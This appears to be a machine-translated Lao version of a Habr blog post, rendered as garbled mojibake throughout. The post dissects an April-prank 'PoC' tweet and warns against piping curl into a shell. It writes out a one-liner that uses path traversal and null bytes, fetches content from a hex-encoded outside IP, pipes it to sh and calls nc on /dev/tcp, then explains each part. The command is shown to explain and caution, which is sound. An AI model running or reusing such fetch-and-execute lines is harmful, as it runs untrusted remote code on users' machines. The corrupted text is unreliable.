เบซเบกเบฒเบโเปเบซเบโ. เปเบ.:
TL;DR: เบขเปเบฒเปเบเปเบเปเปเปเบเบฅเปเปเบ sh เบซเบผเบท bash เบเบฒเบเปเบเปเบชเบฐเบเบฒเบเบฐเบเบฒเบเปเบเบเปเปเบเบฒเบก. เบเบตเปเปเบกเปเบเบงเบดเบเบตเบเบตเปเบเบตเบเบตเปเบเบฐเบชเบนเบเปเบชเบเบเบฒเบเบเบงเบเบเบธเบกเบเบญเบกเบเบดเบงเปเบเบตเบเบญเบเบเปเบฒเบ.
เบเปเบญเบเบขเบฒเบเปเบเปเบเบเบฑเบเปเบฅเบทเปเบญเบเบชเบฑเปเบเปเบซเปเบเบฑเบเปเบเบปเปเบฒเบเปเบฝเบงเบเบฑเบเบเบฒเบเบเบนเบเบฎเบตเบ PoC comic เบเบตเปเบชเปเบฒเบเบเบถเปเบเปเบเบงเบฑเบเบเบต 31 เบเบถเบเบชเบฐเบเบฒ. เบฅเบฒเบงโเปเบเปโเบเบฐเบเบปเบโเบเบปเบงโเบขเปเบฒเบโเบเบฑเบโเบเบฒเบโเปเบโเบเบฒเบโเบเบญเบโเบชเบฐเปเบญเบโเบเปเบฒเบงโเบเบฒเบ
เปเบเบเปเบเปเบชเปเบฒเปเบฅเบฑเบเบเบฒเบเปเบฎเบฑเบเบงเบฝเบเบเปเบฝเบงเบเบฑเบเปเบเบฑเบเบเบดเบเบเบฒเบ obfuscation เปเบซเบกเปเปเบ curl, เบเปเบฒเบเบฐเปเบเบปเปเบฒเปเบเปเบญเปเบฒเบเปเบเบดเบ tweet เบเบปเปเบเบชเบฐเบเบฑเบเปเบฅเบฐ "เบฎเบปเปเบงเปเบซเบฅ PoC เปเบฎเบฑเบเบงเบฝเบ" เบเบฐเบเบญเบเบเปเบงเบเปเบชเบฑเปเบเบเบฝเบงเบเบญเบเบฅเบฐเบซเบฑเบเบเบตเปเบชเบปเบกเบกเบธเบเบงเปเบฒเบเบนเบเบฎเบตเบเบเปเบญเบเบซเบงเปเบฒเบเบเบตเปเบเบปเปเบเบเบปเบ. เปเบเปเบเบญเบ, เบเบตเปเปเบกเปเบเปเบฅเบทเปเบญเบเปเบฎเปเบชเบฒเบฅเบฐเบเบตเปเบชเบปเบกเบเบนเบ. เบเปเบญเบเบชเบปเบกเบกเบธเบเบงเปเบฒเบเปเบญเบเบเบฐเบเบทเบเปเบเบตเบเปเบเบตเบเบเบฑเบเบเบต, เปเบฅเบฐเบเบตเบเบตเปเบชเบธเบเบเปเบญเบเบเบฐเปเบเปเบฎเบฑเบเบชเบญเบเบชเบฒเบกเบเบฑเปเบ (เปเบญเปเบเบต).
เบขเปเบฒเบเปเบเบเปเบเบฒเบก, เบเปเบฒเบเบฐเปเบเบปเปเบฒเบเปเปเบชเบฒเบกเบฒเบเบเบดเบเบเบฐเบเบฒเบเบฒเบเบชเบดเปเบเบเบตเปเปเบเบตเบเบเบถเปเบเบเปเปเปเบ. เบเบงเบฒเบกเบเบดเบเบปเบกเบเบญเบ tweet เบเบญเบเบเปเบญเบเปเบเบตเปเบกเบเบถเปเบเบชเบนเบ. เปเบเบฑเบเปเบฅเบทเปเบญเบเปเบเบเบเบตเป, เปเบเปเบงเบฅเบฒเบเบตเป (15:00 เปเบกเบเบเบญเบเบกเบญเบเปเบเปเบเบงเบฑเบเบเบต 1 เบกเบดเบเบธเบเบฒ) เบกเบตเบเบปเบเบเปเบฒเบเบงเบเบซเบเปเบญเบเบเบตเปเบฎเบนเปเบงเปเบฒเบเบตเปเปเบกเปเบเบเบฒเบเบเบญเบกเปเบเบ. เบซเบผเบฒเบเบเบปเบ retweet เบกเบฑเบเปเบเบเบเปเปเปเบเปเบเบงเบเปเบเบดเปเบเบกเบฑเบเบเบฑเบเบซเบกเบปเบ (เบเปเบญเบเปเบซเปเบเบนเปเบเบฝเบงเบเบปเบกเปเบเบตเบเบฎเบนเบเบเบฒเบ ASCII เบเบตเปเบซเบเปเบฒเบฎเบฑเบเบเบตเปเบกเบฑเบเบญเบญเบเบกเบฒ).
เบเบฝเบโเปเบเปโเปเบเบดเปเบโเบงเปเบฒโเบกเบฑเบโเบเบฒเบกโ!
เปเบเบเบฐเบเบฐเบเบตเป loops เปเบฅเบฐเบชเบตเบเบฑเบเบซเบกเบปเบเปเบซเบผเบปเปเบฒเบเบตเปเปเบกเปเบเบเบต, เบกเบฑเบเปเบเบฑเบเบเบตเปเบเบฑเบเปเบเบเบงเปเบฒเบเบฐเบเบฒเบเบปเบเบเปเบญเบเปเบฅเปเบเบฅเบฐเบซเบฑเบเปเบเปเบเบทเปเบญเบเบเบญเบเบเบงเบเปเบเบปเบฒเปเบเบทเปเบญเปเบเบดเปเบเบเบงเบเบกเบฑเบ. เปเบเบเบเบต, เบเบปเบงเบเปเบญเบเปเบงเบฑเบเปเบฎเบฑเบเบงเบฝเบเปเบเบเบเบฝเบงเบเบฑเบ, เปเบฅเบฐเบเบงเบเบเบฑเบเบเบงเบฒเบกเบเบดเบเบเบตเปเบงเปเบฒเบเปเบญเบเบเปเปเบขเบฒเบเปเบเบปเปเบฒเปเบเปเบเบเบฑเบเบซเบฒเบเบฒเบเบเปเบฒเบเบเบปเบเบซเบกเบฒเบ, เบฅเบฐเบซเบฑเบเบเบตเปเบเบฑเบเบขเบนเปเปเบเปเบงเบฑเบเปเบเบเปเบเบญเบเบเปเบญเบเปเบกเปเบเบเบฝเบเปเบเปเปเบฎเบฑเบเปเบซเปเบเบฒเบเปเบเบชเบฝเบเบเบฑเบเปเบเบเบเปเปเบกเบตเบเบฒเบเบเบฐเบเบฒเบเบฒเบกเบเบดเบเบเบฑเปเบเบซเบผเบทเบเบฐเบเบดเบเบฑเบเบฅเบฐเบซเบฑเบเปเบเบตเปเบกเปเบเบตเบก.
A digression เบเบฐโเบซเบเบฒเบโเบเปเบญเบโ:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
เบงเบดเบชเบฐเบงเบฐเบเบณเบญเบตเปเบฅเบฑเบเปเบเบฃเบเบดเบ-เบชเบฑเบเบเบปเบก (SEE) - เบซเบผเบฒเบเบเปเบงเบฒเบเบฝเบเปเบเป phishing
เบเบงเบฒเบกเบเบญเบเปเบ เปเบฅเบฐ เบเบงเบฒเบกเบเบธเปเบเปเบเบตเบเปเบเบฑเบเบชเปเบงเบเบชเบณเบเบฑเบเบเบญเบเบเบฒเบเบเบปเบเบฅเบญเบเบเบตเป. เบเปเบฒเบเบฐเปเบเบปเปเบฒเบเบดเบเบงเปเบฒเบเบงเบเปเบเบปเบฒเปเบเบฑเบเบชเบดเปเบเบเบตเปเบเปเบฒเปเบเบชเบนเปเบเบงเบฒเบกเบชเปเบฒเปเบฅเบฑเบเบเบญเบเบฅเบฒเบง. เปเบชเบฑเปเบเบเปเบฒเบชเบฑเปเบเบเบตเปเปเบซเปเปเบซเบฑเบเบเบงเบฒเบกเบเบญเบเปเบเบขเปเบฒเบเบเบฑเบเปเบเบเปเบเบเบเบฒเบเบญเปเบฒเบเปเบเบดเบ "127.0.0.1" (localhost เบเบตเปเบกเบตเบเบทเปเบชเบฝเบ). Localhost เบเบทเบงเปเบฒเบเบญเบเปเบ เปเบฅเบฐเบเปเปเบกเบนเบเปเบเบกเบฑเบเบเบฐเบเปเปเบญเบญเบเบเบฒเบเบเบญเบกเบเบดเบงเปเบเบตเบเบญเบเบเปเบฒเบ.
เบเบงเบฒเบกเบเบธเปเบเปเบเบตเบเปเบกเปเบเบญเบปเบเบเบฐเบเบญเบ SEE เบเบตเปเบชเปเบฒเบเบฑเบเบเบตเบชเบญเบเบเบญเบเบเบฒเบเบเบปเบเบฅเบญเบ. เบเบฑเบเบเบฑเปเบเปเบเปเบเบนเปเบเบปเบกเปเบเบปเปเบฒเบซเบกเบฒเบเบเบปเปเบเบเปเบเบฐเบเบญเบเบเปเบงเบเบเบนเปเบเบตเปเบเบธเปเบเปเบเบตเบเบเบฑเบเบเบทเปเบเบเบฒเบเบเบญเบเบเบงเบฒเบกเบเบญเบเปเบเบเบญเบเบเบญเบกเบเบดเบงเปเบเบต, เบกเบฑเบเปเบเบฑเบเบชเบดเปเบเบชเปเบฒเบเบฑเบเบเบตเปเบเบฐเบชเปเบฒเบเบฅเบฐเบซเบฑเบเปเบเบทเปเบญเปเบซเปเบเบฒเบเบชเปเบงเบเบเบญเบเบกเบฑเบเปเบเบดเปเบเบเบทเบงเปเบฒเบเบธเปเบเปเบเบตเบเปเบฅเบฐเบเบธเปเบเปเบเบตเบ (เปเบฅเบฐเบเบฑเปเบเบเบฑเปเบเบเบถเปเบเบเบญเบเปเบ). เบเบฒเบเบเบนเปเบขเบทเบกเบญเบปเบเบเบฐเบเบญเบเบเบญเบเปเบเบงเบเบงเบฒเบกเบเบดเบเบเบฒเบเบเบธเบเบเบปเปเบเปเบเบปเปเบฒเปเบฅเบฐเบเบฒเบเบฅเบงเบกเปเบญเบปเบฒเบเบงเบเบกเบฑเบเปเบเบเบฒเบเบเบตเปเบเบดเบเบเบปเบเบเบฐเบเบดเปเบเปเบเบดเบชเบนเบเบงเปเบฒเบเบฐเบชเบปเบเบเบปเบเบชเปเบฒเปเบฅเบฑเบเบซเบผเบฒเบ.
เบเปเบฒเบเบฅเบธเปเบกเบเบตเปเปเบกเปเบเบเบฒเบเบงเบดเปเบเบฒเบฐเบฅเบฒเบเบฅเบฐเบญเบฝเบเบเบญเบ one-liner. เบเบธเบเบชเบดเปเบเบเบธเบเบขเปเบฒเบเบขเบนเปเปเบเบเบฑเบเบเบตเบฅเบฒเบเบเบทเปเบเบตเปเบเบธเปเบเปเบชเบทเปเบญ เบฅเบฑเบเบชเบฐเบเบฐเปเบเบทเปเบญเบเบชเปเบฒเบญเบฒเบ, เปเบฅเบฐเบเบปเบงเบเบดเบเปเบฅเปเบงเบเปเปเบกเบตเบซเบเบฑเบเบเปเบญเบเบเบฒเบเบชเปเบฒเบฅเบฑเบเบเบฒเบเบเบฐเบเบดเบเบฑเบเบเบฒเบเบเบปเบงเบเบดเบเบเบญเบเบกเบฑเบ.
เบญเบปเบเบเบฐเบเบญเบเบญเบฑเบเปเบเบเบตเปเบเปเบฒเปเบเบฑเบเปเบเปเป? เบเบตเป -gsS
, -O 0x0238f06a
, |sh
เปเบฅเบฐเปเบเบทเปเบญเบเปเบกเปเบเปเบฒเบเปเบงเบฑเบเปเบเบเปเบเบปเบงเบกเบฑเบเปเบญเบ. เปเบเบทเปเบญเบเปเบกเปเบเปเบฒเบเปเบงเบฑเบเปเบเบเปเบเปเปเบกเบตเบเปเบฒเปเบเบฐเบเปเบฒเบเบตเปเปเบเบฑเบเบญเบฑเบเบเบฐเบฅเบฒเบ, เปเบเปเบเบฝเบเปเบเปเปเบซเปเบเปเบฅเบดเบเบฒเบเบฎเบนเบเบเบฒเบ ASCII เปเบเบเปเบเปเบเปเบฒเบชเบฑเปเบ echo
เปเบ script เบเบตเปเบกเบตเบขเบนเปเปเบ index.html
. เปเบกเบทเปเบญเบเบนเปเปเบเปเปเบเบปเปเบฒเปเบชเบฑเปเบเบเบตเปเบกเบต |sh
เปเบโเบเบฒเบโ, index.html
loaded เปเบฅเบฐโเบเบฐโเบเบดโเบเบฑเบโ. เปเบเบเบเบต, เบเบนเปเบเบธเปเบกเบเบญเบเบเบญเบเปเบเบทเปเบญเบเปเบกเปเบเปเบฒเบเปเบงเบฑเบเบเปเปเบกเบตเบเบงเบฒเบกเบเบฑเปเบเปเบเบเบตเปเบเปเปเบเบต.
-
../../../%00
โ เปเบเบฑเบโเบเบปเบงโเปเบเบโเปเบโเบเบญเบโเบเบฒเบโเบฅเบฐโเบเบปเบโ; -
ngx_stream_module.so
- เปเบชเบฑเปเบเบเบฒเบเปเบเบชเบนเปเปเบกเบเบนเบ NGINX เปเบเบเบชเบธเปเบก; -
/bin/sh%00<'protocol:TCP'
โ เบเบงเบโเปเบฎเบปเบฒโเบเบฒเบโเบงเปเบฒโเบเบฐโเปเบเบตเบโเบเบปเบงโ/bin/sh
เปเบเปเบเบทเปเบญเบเปเบเบปเปเบฒเบซเบกเบฒเบเปเบฅเบฐเบเปเบฝเบเปเบชเบฑเปเบเบเบฒเบเบเบปเบเบเบฐเบฅเบดเบเปเบเบซเบฒเบเปเบญเบเบเบฒเบ TCP; -
-O 0x0238f06a#PLToffset
- เบชเปเบงเบเบเบฐเบเบญเบเบฅเบฑเบ, เปเบชเบตเบก#PLToffset
, เบกเบตเบฅเบฑเบเบชเบฐเบเบฐเปเบเบฑเบเบเบฒเบเบเบปเบเปเบเบตเบเบเบงเบฒเบกเบเบปเบเบเปเบฒเบเบตเปเบเบฑเบเบเบธเบขเบนเปเปเบ PLT; -
|sh;
- เบญเบตเบโเบชเปเบงเบโเบซเบเบถเปเบโเบเบตเปโเบชเปเบฒโเบเบฑเบโ. เบเบงเบเปเบฎเบปเบฒเบเปเบฒเปเบเบฑเบเบเปเบญเบเปเบเปเบเปเบฝเบเปเบชเบฑเปเบเบเบฒเบเบเบปเบเบเบฐเบฅเบดเบเปเบเบซเบฒ sh / bash เปเบเบทเปเบญเบเบฐเบเบดเบเบฑเบเบฅเบฐเบซเบฑเบเบเบตเปเบกเบฒเบเบฒเบเปเบเบทเปเบญเบเปเบกเปเบเปเบฒเบเปเบงเบฑเบเบเบตเปเบเบทเบเปเบเบกเบเบตเบเบตเปเบเบฑเปเบเบขเบนเป.0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- dummy เบเบตเป netcat เบซเบกเบฒเบเปเบเบดเบ/dev/tcp/localhost
เปเบเบทเปเบญเปเบซเปเบเบธเบเบชเบดเปเบเบเบธเบเบขเปเบฒเบเปเบเบดเปเบเบเบทเบงเปเบฒเบเบญเบเปเบเบญเบตเบเปเบเบทเปเบญเบซเบเบถเปเบ. เปเบเบเบงเบฒเบกเปเบเบฑเบเบเบดเบ, เบกเบฑเบเบเปเปเปเบฎเบฑเบเบซเบเบฑเบเปเบฅเบฐเบเบทเบเบฅเบงเบกเบขเบนเปเปเบเปเบชเบฑเปเบเบชเปเบฒเบฅเบฑเบเบเบงเบฒเบกเบเบฒเบก.
เบเบตเปเบชเบฐเบซเบผเบธเบเบเบฒเบเบเบญเบเบฅเบฐเบซเบฑเบเบเบญเบ script เปเบเบงเบเบฝเบงเปเบฅเบฐเบเบฒเบเบชเบปเบเบเบฐเบเบฒเบเปเบฝเบงเบเบฑเบเบฅเบฑเบเบชเบฐเบเบฐเบเบญเบ "เบงเบดเบชเบฐเบงเบฐเบเปเบฒเบชเบฑเบเบเบปเบก - เปเบญเปเบฅเบฑเบเปเบเบฃเบเบดเบ" ( phishing intricate).
เบเบฒเบเบเบฑเปเบเบเปเบฒเปเบงเบฑเบเปเบเบตเบเปเบงเบต เปเบฅเบฐเบกเบฒเบเบเบฐเบเบฒเบเบเปเบฒเบ
เปเบเบทเปเบญเบเบเบฒเบเบงเปเบฒเบชเปเบงเบเปเบซเบเปเบเบญเบเบเบนเปเบเบญเบเบเบญเบเบเปเบญเบเปเบกเปเบ infosec / เปเบฎเบเปเบเบต, เบเปเบญเบเบเบฑเบเบชเบดเบเปเบเปเบฎเบฑเบเปเบซเปเปเบเบทเปเบญเบเปเบกเปเบเปเบฒเบเปเบงเบฑเบเบเบปเบเบเบฒเบเบเปเปเบเบฒเบเบชเบฐเปเบเบเบญเบญเบเบเบญเบ "เบเบงเบฒเบกเบชเบปเบเปเบ" เปเบเบชเปเบงเบเบเบญเบเบเบงเบเปเบเบปเบฒ, เบเบฝเบเปเบเปเบงเปเบฒเบเบนเปเบเบฒเบเบเบฐเบกเบตเบเบฒเบเบชเบดเปเบเบเบฒเบเบขเปเบฒเบเบเบตเปเบเปเบญเบเปเบฎเบฑเบ (เปเบฅเบฐเบกเบฑเบเบเบฐเบกเปเบงเบเบเบฑเบ. เบเบฑเปเบโเบเปเบฒ). เบเปเบฒเบเบฐเปเบเบปเปเบฒเบเบฐเบเปเปเปเบเปเบเบญเบเปเบเบดเบเบเบฑเบเบซเบฒเบเบฑเบเปเบปเบเบขเบนเปเบเบตเปเบเบตเป เปเบเบทเปเบญเบเบเบฒเบเบเบฒเบเบเบปเบเบฅเบญเบเบเบฑเบเบเบณเปเบเบตเบเบขเบนเป, เปเบเปเบเบตเปเปเบกเปเบเบเบฒเบเบญเบฑเบเบเบตเปเปเบเบตเบเปเบงเบตเปเบฎเบฑเบ:
- เบเบดเบเบเบฒเบกเบเบงเบเบเบฒเบขเปเบฒเบเบซเปเบฒเบงเบซเบฑเบเปเบเบเบงเบฒเบกเบเบฐเบเบฒเบเบฒเบกเปเบเบเบขเบฒเบเบขเบนเปเปเบเปเบเบทเบญเบเปเบฒเบเบชเบฑเบเบเบปเบกเบเบฒเบเบขเปเบฒเบเปเบฅเบฐเบเปเบฝเบเบฎเบนเบเบเบปเบงเบขเปเบฒเบเบเบปเบงเบขเปเบฒเบเบเปเบฒเบเปเปเบเบทเปเบญเบเบธเบเบเบนเปเปเบซเปเบเบนเปเปเบเปเบเบฅเบดเบเปเบชเปเบเบฒเบเปเบเบทเปเบญเบกเบเปเป.
- เบเปเบฝเบเปเบชเบฑเปเบเบเบฒเบ Chrome/Mozilla/Safari/etc เปเบเบซเบฒเบงเบดเบเบตเปเบญเปเบเบชเบฐเบเบฒ Thugcrowd เปเบเบเบเบฒเบเบชเบฐเปเบเบ shell script.
- เบชเบฑเบเปเบเบเปเบเบดเปเบเบญเบฒเบเบฒเบเบเบตเปเบเบฑเบเปเบเบเบเบญเบเบเบฒเบเบเบธเบเบฅเบธเบ / เบเบฒเบเปเบฎเบฑเบเบเบตเปเบเบตเปเบเบปเบงเบฐ, เปเบฅเบฐเบซเบผเบฑเบเบเบฒเบเบเบฑเปเบเปเบฅเบตเปเบกเบเบปเปเบเบเบฒเบเบเปเบฝเบเปเบชเบฑเปเบเบเบฒเบเบเบฒเบเบฎเปเบญเบเบเปเปเบเบซเบฒเปเบเบทเปเบญเบเปเบกเปเบเปเบฒเบเบเบญเบ NSA (ha!).
- เบเบดเบเบเบฑเปเบ Trojan, เปเบเบฑเปเบเบเบฝเบงเบเบฑเบเบเบฑเบ BIOS rootkit, เปเบเบเบญเบกเบเบดเบงเปเบเบตเบเบฑเบเบซเบกเบปเบเบเบตเปเบเบนเปเปเบเปเปเบเบขเปเบฝเบกเบขเบฒเบกเปเบเบปเปเบฒเบเบฒเบเบเบฒเบเบเบปเบงเบเปเบญเบเปเบงเบฑเบเบเบปเบเบเบฐเบเบด (เบเบฝเบเปเบเป kidding!).
เบชเปเบงเบเบเปเบญเบเปเบเบญเบ antimers
เปเบเบเปเบฅเบฐเบเบตเบเบตเป, เปเบเบปเปเบฒเบซเบกเบฒเบเบเบฝเบงเบเบญเบเบเปเบญเบเปเบกเปเบเปเบเบทเปเบญเบเปเบฒเบเบดเบเปเบฒเบเบฒเบเบเบฒเบเบฅเบฑเบเบชเบฐเบเบฐเบเบญเบ Apache - เปเบเบเบชเบฐเปเบเบฒเบฐ, เบเบปเบเบฅเบฐเบเบฝเบเปเบขเบฑเบเบชเปเบฒเบฅเบฑเบเบเบฒเบเบเปเบฝเบเปเบชเบฑเปเบเบเบฒเบเบเบฒเบเบฎเปเบญเบเบเป - เปเบฅเบฐเบเปเบญเบเบเบดเบเบงเปเบฒ: เปเบเบฑเบเบซเบเบฑเบเบเปเป?
NGINX Exploit (เบเบดเบ!)
เบชเบฐ เปเบฑเบ เบชเบฐเบกเบฒเบเบดเบ
เปเบซเบผเปเบเบเปเปเบกเบนเบ: www.habr.com